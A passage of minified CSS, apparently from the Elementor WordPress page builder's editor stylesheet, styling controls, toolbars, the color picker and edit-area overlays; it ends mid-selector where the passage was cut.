.elementor-switch-label:after{content:attr(data-on);left:5px;color:var(--e-a-btn-color);opacity:0}.elementor-control-type-switcher .elementor-switch-input:checked~.elementor-switch-label{background:var(--e-a-btn-bg-primary)}.elementor-control-type-switcher .elementor-switch-input:checked~.elementor-switch-label:before{opacity:0}.elementor-control-type-switcher .elementor-switch-input:checked~.elementor-switch-label:after{opacity:1}.elementor-control-type-switcher .elementor-switch-handle{position:absolute;top:1px;left:1px;width:18px;height:18px;background:#fff;border-radius:10px;transition:left .15s ease-out}.elementor-control-type-switcher .elementor-switch-input:checked~.elementor-switch-handle{left:auto;right:1px}.elementor-control-type-tabs{display:flex;font-size:var(--control-title-size)}.elementor-control-type-tab{text-align:center;width:100%;padding:0;line-height:25px;border-block-start:var(--e-a-border-bold);border-block-end:var(--e-a-border-bold);border-inline-end:var(--e-a-border-bold);transition:var(--e-a-transition-hover);cursor:pointer}.elementor-control-type-tab:first-child{border-inline-start:var(--e-a-border-bold);border-start-start-radius:var(--e-a-border-radius);border-end-start-radius:var(--e-a-border-radius)}.elementor-control-type-tab:last-child{border-start-end-radius:var(--e-a-border-radius);border-end-end-radius:var(--e-a-border-radius)}.elementor-control-type-tab:hover{background-color:var(--e-a-bg-hover)}.elementor-control-type-tab.e-tab-active{background-color:var(--e-a-bg-active-bold);color:var(--e-a-color-txt-accent)}.e-tab-close{display:none!important}.elementor-control-type-code .elementor-control-dynamic-switcher,.elementor-control-type-textarea .elementor-control-dynamic-switcher{border-inline-start-width:1px;border-start-start-radius:0;border-start-end-radius:0;border-end-end-radius:0;border-end-start-radius:var(--e-a-border-radius)}.elementor-control-type-code:not(.elementor-control-dynamic-value) .elementor-control-dynamic-switcher,.elementor-control-type-textarea:not(.elementor-control-dynamic-value) .elementor-control-dynamic-switcher{position:absolute;top:0;right:0;z-index:1}.elementor-control-type-code .elementor-control-input-wrapper,.elementor-control-type-textarea .elementor-control-input-wrapper{position:relative}.elementor-control-type-code textarea,.elementor-control-type-textarea textarea{display:block;font-family:inherit}.elementor-control-type-code textarea:focus+.elementor-control-dynamic-switcher,.elementor-control-type-textarea textarea:focus+.elementor-control-dynamic-switcher{display:none}.elementor-control-type-code pre:focus-within+.elementor-control-dynamic-switcher,.elementor-control-type-textarea pre:focus-within+.elementor-control-dynamic-switcher{display:none}.elementor-control-type-url .elementor-control-field{position:relative}.elementor-control-type-url .elementor-control-input-wrapper{display:flex}.elementor-control-type-url.elementor-control-dynamic .elementor-control-url-more-options input{border-radius:var(--e-a-border-radius)}.elementor-control-type-url.elementor-control-dynamic-value .e-input-style{border-start-end-radius:0;border-end-end-radius:0}.elementor-control-type-url.elementor-control-dynamic-value .elementor-control-url-more{border-start-end-radius:var(--e-a-border-radius);border-end-end-radius:var(--e-a-border-radius)}.elementor-control-type-url .elementor-control-url-more{display:flex;align-items:center;justify-content:center;flex-shrink:0;border:var(--e-a-border-bold);color:currentColor;background-color:transparent;border-inline-start-width:0;cursor:pointer}.elementor-control-type-url .elementor-control-url-more i{font-size:12px}.elementor-control-type-url .elementor-control-url-more-options{display:none;padding-block-start:10px}.elementor-control-type-url .elementor-control-url-more-options .elementor-control-field-description{margin-block-start:10px}.elementor-control-type-url .elementor-control-url-more:hover{color:var(--e-a-color-txt-hover)}.elementor-control-type-url .elementor-control-url-more:focus{color:var(--e-a-color-txt-active);border-color:var(--e-a-border-color-focus)}.elementor-control-type-url .elementor-control-url-option{display:flex;align-items:center}.elementor-control-type-url .elementor-control-url-option:not(:last-child){padding-block-end:10px}.elementor-control-type-url .elementor-control-url-option input,.elementor-control-type-url .elementor-control-url-option label{cursor:pointer}.elementor-control-type-url .elementor-control-url-autocomplete-spinner{display:none;position:absolute;top:5px;right:0;width:10px;height:10px;font-size:10px;color:var(--e-a-color-txt-disabled)}.elementor-control-type-url .elementor-control-url__custom-attributes label{font-size:var(--control-title-size)}.elementor-control-type-url .elementor-control-url__custom-attributes input{width:100%;margin-block-start:10px}.elementor-control-type-url .elementor-input:focus~div{border-color:var(--e-a-border-color-focus)}.elementor-autocomplete-menu{position:absolute;background:var(--e-a-bg-default);border:var(--e-a-border);margin:0;list-style:none;padding:4px 0;height:auto;width:100%;min-width:260px;max-width:300px;max-height:200px;overflow-y:auto;border-radius:3px;transition:var(--e-a-transition-hover);cursor:default;z-index:1}.elementor-autocomplete-menu .ui-menu-item{display:flex;justify-content:space-between;align-self:baseline;padding:5px 8px;font-size:12px;width:100%;line-height:1.2;cursor:pointer}.elementor-autocomplete-menu .ui-menu-item.ui-state-active,.elementor-autocomplete-menu .ui-menu-item.ui-state-focus,.elementor-autocomplete-menu .ui-menu-item.ui-state-hover{background:var(--e-a-bg-hover)}.elementor-autocomplete-menu .elementor-autocomplete-item-info{font-size:10px;padding-block-start:2px}.elementor-control-type-wp_widget .widget-inside{line-height:2;background-color:inherit;display:block}.elementor-control-type-wp_widget .quicktags-toolbar input{width:auto}.elementor-control-type-wysiwyg *{box-sizing:content-box}.elementor-control-type-wysiwyg .wp-editor-container{border:var(--e-a-border)}.elementor-control-type-wysiwyg .wp-editor-tabs{border:var(--e-a-border-bold);border-block-end:none;border-start-start-radius:var(--e-a-border-radius);border-start-end-radius:var(--e-a-border-radius);border-end-end-radius:0;border-end-start-radius:0}.elementor-control-type-wysiwyg .wp-editor-tabs button:hover{background-color:var(--e-a-bg-hover)}.elementor-control-type-wysiwyg #insert-media-button{height:auto;line-height:24px;font-size:10px;color:var(--e-a-color-txt);border-color:var(--e-a-border-color-bold);background-color:var(--e-a-bg-default);min-height:0}.elementor-control-type-wysiwyg .ed_button{height:22px;width:auto}.elementor-control-type-wysiwyg .wp-media-buttons-icon{height:14px;margin:0}.elementor-control-type-wysiwyg .wp-media-buttons-icon:before{font-size:14px}.elementor-control-type-wysiwyg .wp-switch-editor{position:static;border:none;margin:0;color:var(--e-a-color-txt);font-size:10px;padding:3px 9px 4px}.elementor-control-type-wysiwyg .switch-html{border:solid var(--e-a-border-color-bold);border-width:0 1px}.elementor-control-type-wysiwyg .html-active .switch-tmce{background-color:transparent}.elementor-control-type-wysiwyg .html-active .switch-html,.elementor-control-type-wysiwyg .tmce-active .switch-tmce{background-color:var(--e-a-bg-active)}.elementor-control-type-wysiwyg .tmce-active .switch-html{background-color:transparent}.elementor-control-type-wysiwyg .mce-toolbar-grp,.elementor-control-type-wysiwyg .mce-toolbar .mce-btn-group .mce-btn.mce-listbox,.elementor-control-type-wysiwyg .quicktags-toolbar{background-color:var(--e-a-bg-default)}.elementor-control-type-wysiwyg .mce-toolbar .mce-btn-group .mce-btn.mce-listbox button{color:var(--e-a-color-txt)}.elementor-control-type-wysiwyg .mce-toolbar-grp>div{padding:0 3px}.elementor-control-type-wysiwyg .elementor-wp-editor{box-sizing:border-box}.elementor-control-type-wysiwyg .mce-ico{color:var(--e-a-color-txt);font-size:16px}.elementor-control-type-wysiwyg .mce-btn-group .mce-btn.mce-active,.elementor-control-type-wysiwyg .mce-btn-group .mce-btn:active,.elementor-control-type-wysiwyg .mce-btn-group .mce-btn:hover{color:var(--e-a-color-txt-active);background:var(--e-a-bg-hover);border-color:var(--e-a-border-color);box-shadow:none}.elementor-control-type-wysiwyg .mce-btn-group .mce-btn.mce-active i,.elementor-control-type-wysiwyg .mce-btn-group .mce-btn:active i,.elementor-control-type-wysiwyg .mce-btn-group .mce-btn:hover i{color:var(--e-a-color-txt-active)}.elementor-control-type-wysiwyg .mce-path{padding:5px 10px}.elementor-control-type-wysiwyg .mce-path-item{font-size:12px;color:var(--e-a-color-txt)}.elementor-control-type-wysiwyg .mce-top-part:before{box-shadow:none}.elementor-control-type-wysiwyg .elementor-control-dynamic-switcher{border:none}@media screen and (prefers-color-scheme:dark){#wp-link-wrap{color-scheme:light;--e-a-color-txt:#515962;--e-a-bg-default:#fff;--e-a-border-color-bold:#d5d8dc;--e-a-color-primary-bold:#d004d4}#wp-link{color:var(--e-a-color-txt)}#wp-link input{background-color:var(--e-a-bg-default)}#wp-link input,#wp-link input[type=checkbox]{border-color:var(--e-a-border-color-bold)}#wp-link input[type=checkbox]:checked{background:var(--e-a-color-primary-bold)}#wp-link input.button-primary{background:#2271b1;border-color:#2271b1;color:#fff}}.ui-resizable-n{top:-5px}.ui-resizable-e{right:-5px}.ui-resizable-s{bottom:-5px}.ui-resizable-w{left:-5px}.ui-resizable-ne{top:-5px;right:-5px}.ui-resizable-nw{top:-5px;left:-5px}.ui-resizable-se{bottom:-5px;right:-5px}.ui-resizable-sw{bottom:-5px;left:-5px}.ui-resizable-n,.ui-resizable-s{left:0;height:10px;width:100%;cursor:ns-resize}.ui-resizable-e,.ui-resizable-w{top:0;height:100%;width:10px;cursor:ew-resize}.ui-resizable-ne,.ui-resizable-nw,.ui-resizable-se,.ui-resizable-sw{height:15px;width:15px}.ui-resizable-nw,.ui-resizable-se{cursor:nwse-resize}.ui-resizable-ne,.ui-resizable-sw{cursor:nesw-resize}.ui-resizable-handle{position:absolute}.ui-resizable-resizing{pointer-events:none}:root{--e-p-draggable-color:#f0abfc;--e-p-border-section:#f3bafd;--e-p-border-section-hover:#f0abfc;--e-p-border-section-invert:#0c0d0e;--e-p-border-con:#f3bafd;--e-p-border-con-hover:#f0abfc;--e-p-border-con-invert:#0c0d0e;--e-p-border-column:#9da5ae;--e-p-border-column-hover:#818a96;--e-p-border-column-invert:#0c0d0e;--e-p-border-con-in:#9da5ae;--e-p-border-con-in-hover:#818a96;--e-p-border-con-in-invert:#0c0d0e;--e-p-border-widget:#f3bafd;--e-p-border-widget-hover:#f0abfc;--e-p-border-widget-invert:#0c0d0e;--e-p-border-global:#5eead4;--e-p-border-global-hover:#1dddbf;--e-p-border-global-invert:#0c0d0e}.elementor-add-section{all:initial;display:flex;max-width:1160px;position:relative;margin-inline:auto}.elementor-add-section:not(.elementor-dragging-on-child) .elementor-add-section-inner{border:2px dashed var(--e-a-border-color-bold);background-color:hsla(0,0%,100%,.5)}.elementor-add-section.elementor-dragging-on-child .elementor-add-section-inner{border:2px dashed var(--e-a-color-primary)}.elementor-add-section[data-view=choose-action] .e-view:not(.elementor-add-new-section),.elementor-add-section[data-view=select-container-preset-grid] .e-view:not(.e-con-select-preset-grid),.elementor-add-section[data-view=select-container-preset] .e-view:not(.e-con-select-preset),.elementor-add-section[data-view=select-preset] .e-view:not(.elementor-select-preset),.elementor-add-section[data-view=select-type] .e-view:not(.e-con-select-type){display:none}.elementor-add-section-inner{text-align:center;margin:20px;padding:40px 0;display:flex;justify-content:center;flex-grow:1}.elementor-add-new-section{display:flex;justify-content:center;flex-wrap:wrap;gap:5px}.elementor-add-section-area-button{padding:12px;height:40px;width:40px;border-radius:50%;font-size:16px;display:flex;outline:none;border:none;background-color:var(--e-a-bg-active);color:var(--e-a-color-black);transition:var(--e-a-transition-hover);cursor:pointer}.elementor-add-section-area-button:hover{background-color:var(--e-a-bg-active-bold);color:var(--e-a-color-black)}.elementor-add-section-area-button i{margin:0}.elementor-add-section-area-button.e-button-primary{background-color:var(--e-a-btn-bg-primary);color:var(--e-a-btn-color)}.elementor-add-section-area-button.e-button-primary:hover{background-color:var(--e-a-btn-bg-primary-hover);color:var(--e-a-btn-color)}.elementor-add-section-drag-title,.elementor-select-preset-title{font-family:var(--e-a-font-family);font-size:13px;line-height:1;color:var(--e-a-color-txt)}.elementor-add-section-drag-title{font-style:italic;font-weight:400;margin-block-start:10px;width:100%}.elementor-select-preset-title{font-weight:500;text-transform:uppercase}.elementor-add-section-close{right:40px}.elementor-add-section-back{left:40px}.elementor-wizard-icon{position:absolute;top:40px;font-size:20px;cursor:pointer;line-height:1;color:var(--e-a-color-txt)}.elementor-wizard-icon:hover{color:var(--e-a-color-txt-hover)}.elementor-select-preset-list{list-style:none;padding:0 25px;margin:20px auto 0;overflow:hidden;max-width:700px}.elementor-select-preset-list .elementor-preset{cursor:pointer;margin:0;padding:10px;float:left;max-width:33.333%}.elementor-select-preset-list .elementor-preset:not(:hover) path,.elementor-select-preset-list .elementor-preset:not(:hover) rect{fill:var(--e-a-bg-active-bold);transition:all .3s}.elementor-select-preset-list .elementor-preset:hover path,.elementor-select-preset-list .elementor-preset:hover rect{fill:var(--e-a-color-txt)}.elementor-select-preset-list .elementor-preset .e-preset--container{position:relative;display:flex}.elementor-select-preset-list .elementor-preset .e-preset--container:before{content:var(--text);font-family:var(--e-a-font-family);font-size:13px;font-weight:500;position:absolute;left:50%;top:50%;color:var(--e-a-color-white);transform:translate(-50%,-50%)}.elementor-select-preset-list .elementor-preset svg{height:50px;width:100%}.elementor-add-section[data-view=choose-action] .elementor-add-section-back,.elementor-add-section[data-view=select-preset] .elementor-add-section-back,.elementor-add-section[data-view=select-type] .elementor-add-section-back{display:none}#elementor-add-new-section{margin:60px auto}#elementor-add-new-section[data-view=choose-action] .elementor-add-section-close{display:none}.elementor-add-section-inline{margin:10px auto;width:100%}@keyframes placeholder-section{0%{height:0;opacity:0}to{height:40px;opacity:.9}}@keyframes placeholder-widget{0%{height:0;opacity:0}to{height:10px;opacity:.9}}@keyframes section-outline{0%{opacity:0}to{opacity:1}}body.elementor-editor-active .elementor.elementor-edit-mode .article,body.elementor-editor-active .elementor.elementor-edit-mode.layout-section .entry-content{overflow:visible}body.elementor-editor-active .elementor.elementor-edit-mode .elementor-element-overlay .elementor-editor-element-settings{clear:unset}body.elementor-editor-active .elementor.elementor-edit-mode .elementor-element.elementor-section{overflow:visible}.elementor-edit-area .animated{animation-fill-mode:none!important}.elementor-edit-area ul.elementor-editor-element-settings{word-break:normal;padding:0}.elementor-edit-area .gallery{opacity:1}.pen{position:relative;outline:none}.pen:not([data-elementor-inline-editing-toolbar=advanced]){white-space:pre-wrap}.pen-menu{box-shadow:1px 2px 3px -2px #222;background-color:#3f444b;position:fixed;overflow:hidden;border-radius:3px;z-index:9999}.pen-menu:after{top:100%;content:"";position:absolute;border:6px solid transparent;border-block-start-color:#3f444b;left:50%;transform:translateX(-50%)}.pen-menu-below:after{top:0;transform:translateX(-50%) translateY(-100%) rotate(180deg)}.pen-icon{position:relative;display:flex;align-items:center;justify-content:center;height:35px;padding:0 10px;font-size:21px;color:#d5d8dc;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;user-select:none}.pen-icon:hover{background:#1f2124}.pen-icon[data-action=closeGroup],.pen-icon[data-group]{display:none}.pen-icon[data-action=close]:before{content:"";position:absolute;left:0;height:60%;width:1px;background-color:#1f2124}.pen-icon.active{background-color:#1f2124;box-shadow:inset 2px 2px 4px #1f2124}.pen-group-icon:after{font-family:eicons;font-size:12px;content:"\e92a";padding-inline-start:4px;color:#2563eb}.pen-input-wrapper{align-items:center}.pen-input-wrapper .pen-url-input{font-size:12px;line-height:1.5;padding:0;padding-inline-start:10px;padding-inline-end:10px;width:250px;direction:ltr}.pen-input-wrapper .pen-url-input,.pen-input-wrapper .pen-url-input:focus{background-color:transparent;border:none;outline:none;box-shadow:none;color:#fff}.pen-input-wrapper .pen-url-input::-moz-placeholder{color:#d5d8dc}.pen-input-wrapper .pen-url-input::placeholder{color:#d5d8dc}.pen-input-label{margin:0;margin-inline-end:-1px}.pen-placeholder:before{content:attr(data-pen-placeholder);position:absolute;font-weight:400;color:#757575;opacity:.6}.pen-external-url-checkbox{display:none}.pen-external-url-checkbox:checked+i{color:#fff}.elementor-inline-editing i:not([class]){font-style:italic}.elementor-inline-editing b{font-weight:700}.elementor-inline-editing u{text-decoration:underline}.e-element-color-picker{--primary-color:#2563eb;--swatch-size:25px;cursor:default;display:flex;position:absolute;width:calc((var(--count) + 1) * var(--swatch-size));height:var(--swatch-size);top:var(--top);left:var(--left);right:var(--right,unset);border-radius:3px;z-index:9998;background-color:var(--primary-color);padding:1px;box-sizing:content-box;transition:opacity .3s,width .3s}.e-element-color-picker,.e-element-color-picker.e-picker-hidden{opacity:0;pointer-events:none}.e-element-color-picker:before{content:"";flex:0 1 var(--swatch-size);max-width:100%;height:100%;box-sizing:border-box;text-align:center}.e-element-color-picker:after{content:"\e91e";font-family:eicons;color:#fff;font-size:1rem;line-height:var(--swatch-size);position:absolute;left:.3rem;z-index:-1}.e-element-color-picker__swatch{flex:1 0 var(--swatch-size);max-width:100%;height:100%;cursor:pointer;transition:var(--e-a-transition-hover);position:relative;overflow:hidden;border-radius:inherit;background:linear-gradient(var(--color),var(--color)),linear-gradient(var(--primary-color),var(--primary-color))}.e-element-color-picker__swatch:not(:first-child){border-left:1px solid var(--primary-color)}.e-element-color-picker__swatch:before{content:attr(data-text);position:absolute;left:50%;top:50%;opacity:0;color:var(--color);font-size:10px;font-weight:300;font-family:Roboto,Arial,Helvetica,sans-serif;transform:translate(-50%,-50%);filter:hue-rotate(180deg) grayscale(1) contrast(999) invert(1);transition:inherit}.e-element-color-picker__swatch:hover{flex-basis:calc(2 * var(--swatch-size));flex-shrink:0}.e-element-color-picker__swatch:hover:before{opacity:1}.e-ui-state--elements-color-picker-color-picking__on :not(.e-element-color-picker__swatch){cursor:url(../images/eyedropper.svg) 0 20,pointer}.e-ui-state--elements-color-picker-color-picking__on .e-element-color-picker:not(.e-picker-hidden):hover,.e-ui-state--elements-color-picker-color-picking__on .elementor-element:hover>.e-element-color-picker:not(.e-picker-hidden),.e-ui-state--elements-color-picker-color-picking__on .elementor-widget-container:hover+.e-element-color-picker:not(.e-picker-hidden){opacity:1;pointer-events:all}.e-ui-state--elements-color-picker-color-picking__on .elementor-section:hover{outline:1px solid #2563eb}.elementor-editor-preview .elementor-element:has(.e-contact-buttons) .elementor-widget-empty,.elementor-editor-preview .elementor-element:has(.e-floating-bars) .elementor-widget-empty{display:block}[class*=" eicon-flex"],[class^=eicon-flex]{transition:all .3s;--is-ltr:1;--is-rtl:0;--rotation-direction:calc(var(--is-ltr) - var(--is-rtl))}[class*=" eicon-flex"].eicon-inline,[class^=eicon-flex].eicon-inline{max-height:1em;max-width:1em}[class*=" eicon-flex"]:is(.eicon-justify-start-h,.eicon-justify-end-h),[class^=eicon-flex]:is(.eicon-justify-start-h,.eicon-justify-end-h){--rotation-direction:calc(var(--is-ltr) + var(--is-rtl))}:is(.e-ui-state--document-direction-mode__column,.e-ui-state--document-direction-mode__column-reverse) [class*=" eicon-flex"]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow),:is(.e-ui-state--document-direction-mode__column,.e-ui-state--document-direction-mode__column-reverse) [class^=eicon-flex]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow){transform:rotate(calc(var(--rotation-direction) * 90deg))}.e-ui-state--document-direction-mode__column-reverse [class*=" eicon-flex"]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h,.eicon-justify-end-h,.eicon-order-start,.eicon-order-end),.e-ui-state--document-direction-mode__column-reverse [class^=eicon-flex]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h,.eicon-justify-end-h,.eicon-order-start,.eicon-order-end),:is(.e-ui-state--document-direction-mode__column,.e-ui-state--document-direction-mode__column-reverse) [class*=" eicon-flex"]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-align-start-v,.eicon-align-end-v),:is(.e-ui-state--document-direction-mode__column,.e-ui-state--document-direction-mode__column-reverse) [class^=eicon-flex]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-align-start-v,.eicon-align-end-v){transform:rotate(calc(var(--rotation-direction) * -90deg))}.e-ui-state--document-direction-mode__row [class*=" eicon-flex"]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h,.eicon-justify-end-h,.eicon-order-start,.eicon-order-end),.e-ui-state--document-direction-mode__row [class^=eicon-flex]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h,.eicon-justify-end-h,.eicon-order-start,.eicon-order-end){transform:rotate(calc(var(--is-rtl) * 180deg))}.e-ui-state--document-direction-mode__row-reverse [class*=" eicon-flex"]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h,.eicon-justify-end-h,.eicon-order-start,.eicon-order-end),.e-ui-state--document-direction-mode__row-reverse [class^=eicon-flex]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h,.eicon-justify-end-h,.eicon-order-start,.eicon-order-end){transform:rotate(calc(var(--is-ltr) * 180deg))}html.elementor-html{margin-block-start:0!important}.elementor-edit-area{position:relative}.elementor.loading{opacity:.5}.elementor-edit-area-active{--outline-color:var(--e-p-border-con-active)}.elementor-edit-area-active,.elementor-edit-area-active .e-con{--primary-color:var(--e-p-border-con);--secondary-color:var(--e-p-border-con-hover)}.elementor-edit-area-active .e-con{--outline-color:var(--outline-color)}.elementor-edit-area-active .e-con.e-con-boxed.elementor-html5dnd-current-element,.elementor-edit-area-active .e-con.e-dragging-over,.elementor-edit-area-active .e-con.elementor-dragging-on-child{outline:1px solid var(--outline-color)}.elementor-edit-area-active .e-grid-outline{display:none}.elementor-edit-area-active .elementor-element-editable.e-grid.e-con-full>.e-grid-outline{padding-block-start:var(--bc-padding-block-start,var(--padding-block-start));padding-block-end:var(--bc-padding-block-end,var(--padding-block-end));display:grid;position:absolute;top:0;bottom:0;pointer-events:none;grid-gap:var(--gap);justify-items:var(--justify-items);align-items:var(--align-items);grid-auto-flow:var(--grid-auto-flow);justify-content:var(--grid-justify-content);align-content:var(--grid-align-content);min-height:var(--min-height);padding-inline-end:var(--bc-padding-inline-end,var(--padding-inline-end));padding-inline-start:var(--bc-padding-inline-start,var(--padding-inline-start));width:100%;left:0}.elementor-edit-area-active .elementor-element-editable.e-grid.e-con-boxed>.e-con-inner{position:relative}.elementor-edit-area-active .elementor-element-editable.e-grid.e-con-boxed>.e-con-inner>.e-grid-outline{padding-block-start:var(--bc-padding-block-start,var(--padding-block-start));padding-block-end:var(--bc-padding-block-end,var(--padding-block-end));display:grid;position:absolute;top:0;bottom:0;pointer-events:none;grid-gap:var(--gap);justify-items:var(--justify-items);align-items:var(--align-items);grid-auto-flow:var(--grid-auto-flow);justify-content:var(--grid-justify-content);align-content:var(--grid-align-content);min-height:var(--min-height);width:var(--width);margin:0 auto}.elementor-edit-area-active .elementor-element-editable.e-grid .e-grid-outline-item{border:1px dashed #9da5ae;pointer-events:none;width:100%;height:100%}.elementor-edit-area-active .elementor-inner-section:first-child{margin-block-start:15px}.elementor-edit-area-active .elementor-widget-wrap.elementor-element-empty{min-height:30px}@media (min-width:768px){.elementor-edit-area-active .elementor-widget-wrap.elementor-element-empty{margin:10px}}.elementor-edit-area-active .elementor-column{min-width:25px}.elementor-edit-area-active .elementor-widget.elementor-loading{opacity:.3}.elementor-edit-area-active .elementor-widget.elementor-element-edit-mode:hover{box-shadow:0 0 0 1px var(--e-p-border-widget)}.elementor-edit-area-active .elementor-widget.elementor-element-editable,.elementor-edit-area-active .elementor-widget.elementor-element-editable:hover{box-shadow:0 0 0 2px var(--e-p-border-widget)}.elementor-edit-area-active .elementor-widget:not(:hover) .elementor-editor-element-settings{display:none}.elementor-edit-area-active .elementor-widget.ui-draggable-dragging{pointer-events:none}.elementor-edit-area-active .elementor-editor-element-setting{cursor:pointer;display:flex;align-items:center;justify-content:center;padding:0;margin:0;font-size:11px;color:var(--e-p-border-widget-invert);width:25px;transition:var(--e-a-transition-hover)}.elementor-edit-area-active .elementor-inline-editing{min-height:15px}.elementor-edit-area-active .elementor-edit-hidden{display:none}.elementor-section-wrap:empty{min-height:25px}.elementor-section-wrap>:first-child>.elementor-element-overlay{z-index:9999}.elementor-element>.elementor-element-overlay{position:absolute;top:0;right:0;letter-spacing:0;z-index:9998;pointer-events:none}.elementor-element-empty .elementor-sortable-placeholder{display:none}.elementor-element.elementor-widget-empty{background-color:rgba(213,216,220,.8)}.elementor-element.elementor-widget-empty .elementor-widget-empty-icon{color:#babfc5;font-size:22px;display:block;text-align:center;padding:10px 0}.elementor-element:not(:hover):not(.elementor-element-editable)>.elementor-element-overlay .elementor-editor-element-settings{display:none}.elementor-element--toggle-edit-tools>.elementor-element-overlay .elementor-editor-element-edit:not(.elementor-active)~*{width:0;font-size:0}.elementor-element[data-side=bottom]+.elementor-element:before,.elementor-element[data-side=bottom]:last-child:after,.elementor-element[data-side=top]:before{content:"";background-color:var(--e-p-draggable-color);transition-timing-function:ease-out;opacity:.9;height:10px;animation:placeholder-widget .5s;display:block}.elementor-element.elementor-absolute,.elementor-element.elementor-fixed{cursor:grab}.elementor-element.elementor-absolute:active,.elementor-element.elementor-fixed:active{cursor:grabbing}.elementor-element.elementor-absolute .eicon-edit:before,.elementor-element.elementor-fixed .eicon-edit:before{content:"\e902"}.elementor-editor-element-settings{position:absolute;display:flex;height:26px;list-style:none;margin:0;padding:0;font-family:var(--e-a-font-family);font-size:13px;font-weight:400;font-style:normal;line-height:1;z-index:1;pointer-events:all;transition:var(--e-a-transition-hover)}@media (min-width:1025px){.elementor-editor-element-edit{cursor:move}}.elementor-empty-view{position:absolute;top:0;bottom:0;left:0;right:0;z-index:1}.elementor-first-add{text-align:center;border:1px dashed var(--e-a-border-color-bold);display:flex;height:100%;width:100%;position:absolute;align-items:center;justify-content:center}.elementor-first-add .elementor-icon{font-size:19px;color:#9da5ae;cursor:pointer}.elementor-sortable-helper{position:absolute;cursor:move;border:var(--e-a-border);border-radius:var(--e-a-border-radius);background-color:var(--e-a-bg-active);border-color:var(--e-a-border-color-accent);color:var(--e-a-color-active);text-align:center}.elementor-sortable-helper .icon{font-size:28px;padding-block-start:15px;line-height:1}.elementor-sortable-helper .title-wrapper{display:flex;height:40px;align-items:center;justify-content:center}.elementor-sortable-helper .title{font-size:11px}.elementor-sortable-placeholder:not(.elementor-column-placeholder){background-color:var(--e-p-draggable-color);animation-duration:.25s;opacity:.9;width:100%;align-self:stretch}.e-con .elementor-first-add .elementor-sortable-placeholder:not(.elementor-column-placeholder){align-self:center}.e-swappable--active>.elementor-sortable-placeholder:not(.elementor-column-placeholder){display:none}.elementor-section-placeholder{height:40px;animation-name:placeholder-section}.elementor-widget-placeholder{height:10px;animation-name:placeholder-widget}.elementor-draggable-over:not([data-dragged-element=section]):not([data-dragged-is-inner=true])>.elementor-empty-view>.elementor-first-add:after,.elementor-first-add.elementor-html5dnd-current-element:after{content:"";background-color:var(--e-p-draggable-color);transition-timing-function:ease-out;opacity:.9;height:10px;animation:placeholder-widget .5s;width:100%}.e-con .elementor-draggable-over:not([data-dragged-element=section]):not([data-dragged-is-inner=true])>.elementor-empty-view>.elementor-first-add:after,.e-con .elementor-first-add.elementor-html5dnd-current-element:after,.elementor-draggable-over:not([data-dragged-element=section]):not([data-dragged-is-inner=true])>.elementor-empty-view>.elementor-first-add .elementor-icon,.elementor-draggable-over[data-dragged-element=section][data-dragged-is-inner=true] .elementor-inner-column .elementor-sortable-placeholder,.elementor-editor-preview .elementor-add-section,.elementor-editor-preview .elementor-add-section-inline,.elementor-editor-preview .elementor-element-overlay,.elementor-editor-preview .elementor-empty,.elementor-editor-preview .elementor-empty-view,.elementor-editor-preview .elementor-widget-empty,.elementor-first-add.elementor-html5dnd-current-element .elementor-icon{display:none}.e-preview--show-hidden-elements[data-elementor-device-mode=desktop] .elementor-edit-area-active .elementor-hidden-desktop,.e-preview--show-hidden-elements[data-elementor-device-mode=laptop] .elementor-edit-area-active .elementor-hidden-laptop,.e-preview--show-hidden-elements[data-elementor-device-mode=mobile] .elementor-edit-area-active .elementor-hidden-mobile,.e-preview--show-hidden-elements[data-elementor-device-mode=mobile_extra] .elementor-edit-area-active .elementor-hidden-mobile_extra,.e-preview--show-hidden-elements[data-elementor-device-mode=tablet] .elementor-edit-area-active .elementor-hidden-tablet,.e-preview--show-hidden-elements[data-elementor-device-mode=tablet_extra] .elementor-edit-area-active .elementor-hidden-tablet_extra,.e-preview--show-hidden-elements[data-elementor-device-mode=widescreen] .elementor-edit-area-active .elementor-hidden-widescreen{display:inherit;background:repeating-linear-gradient(125deg,rgba(0,0,0,.05),rgba(0,0,0,.05) 1px,transparent 2px,transparent 9px);border:1px solid rgba(0,0,0,.02)}.e-preview--show-hidden-elements[data-elementor-device-mode=desktop] .elementor-edit-area-active .elementor-hidden-desktop.e-con>.elementor-element-overlay,.e-preview--show-hidden-elements[data-elementor-device-mode=desktop] .elementor-edit-area-active .elementor-hidden-desktop.elementor-section>.elementor-element-overlay,.e-preview--show-hidden-elements[data-elementor-device-mode=laptop] .elementor-edit-area-active .elementor-hidden-laptop.e-con>.elementor-element-overlay,.e-preview--show-hidden-elements[data-elementor-device-mode=laptop] .elementor-edit-area-active .elementor-hidden-laptop.elementor-section>.elementor-element-overlay,.e-preview--show-hidden-elements[data-elementor-device-mode=mobile] .elementor-edit-area-active .elementor-hidden-mobile.e-con>.elementor-element-overlay,.e-preview--show-hidden-elements[data-elementor-device-mode=mobile] .elementor-edit-area-active .elementor-hidden-mobile.elementor-section>.elementor-element-overlay,.e-preview--show-hidden-elements[data-elementor-device-mode=mobile_extra] .elementor-edit-area-active .elementor-hidden-mobile_extra.e-con>.elementor-element-overlay,.e-preview--show-hidden-elements[data-elementor-device-mode=mobile_extra] .elementor-edit-area-active .elementor-hidden-mobile_extra.elementor-section>.elementor-element-overlay,.e-preview--show-hidden-elements[data-elementor-device-mode=tablet] .elementor-edit-area-active .elementor-hidden-tablet.e-con>.elementor-element-overlay,.e-preview--show-hidden-elements[data-elementor-device-mode=tablet] .elementor-edit-area-active .elementor-hidden-tablet.elementor-section>.elementor-element-overlay,.e-preview--show-hidden-elements[data-elementor-device-mode=tablet_extra] .elementor-edit-area-active 